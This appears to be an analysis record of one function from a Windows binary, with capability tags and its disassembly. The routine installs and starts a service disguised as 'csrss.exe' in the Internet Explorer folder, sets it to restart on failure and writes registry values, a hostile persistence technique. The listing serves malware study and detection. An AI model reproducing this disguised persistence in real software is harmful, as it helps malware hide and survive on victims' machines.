Function at 0x401d90
Capabilities:
Create service
Modify service
Persist via windows service
Set registry value
Start service

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x403138
push 0x40230c
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
add esp, 0xfffffc7c
push ebx
push esi
push edi
push 0x104
lea eax, [ebp - 0x358]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0xb
mov esi, str.C:Program_FilesInternet_Explorercsrss.exe
lea edi, [ebp - 0x254]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x254]
push ecx
push 0x467ab0
lea edx, [ebp - 0x220]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [ebp - 0x224], 0
mov dword [ebp - 0x360], 0
mov dword [ebp - 0x35c], 0
mov dword [ebp - 4], 0
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 0
jne 0x401e41
jmp 0x402032
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x220]
push eax
push 1
push 2
push 0x110
push 0xf01ff
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x35c]
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x360], eax
mov ecx, dword [ebp - 0x35c]
push ecx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov dword [ebp - 0x380], eax
mov dword [ebp - 0x364], str.Windows_Test_My_Test_1.0
lea edx, [ebp - 0x364]
push edx
push 1
mov eax, dword [ebp - 0x360]
push eax
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov dword [ebp - 0x394], 0
xor ecx, ecx
mov dword [ebp - 0x390], ecx
mov dword [ebp - 0x38c], ecx
mov dword [ebp - 0x388], ecx
mov dword [ebp - 0x384], ecx
mov dword [ebp - 0x390], 0
mov dword [ebp - 0x394], 0x15180
mov dword [ebp - 0x378], 0x1b58
mov dword [ebp - 0x37c], 1
mov dword [ebp - 0x370], 0
mov dword [ebp - 0x374], 1
mov dword [ebp - 0x368], 0
mov dword [ebp - 0x36c], 1
mov dword [ebp - 0x388], 3
lea edx, [ebp - 0x37c]
mov dword [ebp - 0x384], edx
mov dword [ebp - 0x38c], 0
lea eax, [ebp - 0x394]
push eax
push 2
mov ecx, dword [ebp - 0x360]
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
mov edx, dword [ebp - 0x380]
push edx
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
cmp dword [ebp - 0x360], 0
jne 0x401fb6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x431
jne 0x401fb6
push 0xf01ff
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 0x35c]
push ecx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov dword [ebp - 0x360], eax
cmp dword [ebp - 0x360], 0
jne 0x401fa5
jmp 0x402032
push 0
push 0
mov edx, dword [ebp - 0x360]
push edx
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
push 0
push 0
mov eax, dword [ebp - 0x360]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceA]
test eax, eax
jne 0x401fcd
jmp 0x402032
push 0x467ab4
lea ecx, [ebp - 0x11c]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x11c]
push eax
call sub.MSVCRT.dll_strcat
add esp, 8
lea ecx, [ebp - 0x224]
push ecx
lea edx, [ebp - 0x11c]
push edx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [ebp + 0x10]
push ecx
push 1
push 0
push str.Description
mov edx, dword [ebp - 0x224]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 4], 0xffffffff
call fcn.00402040
jmp 0x402093
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret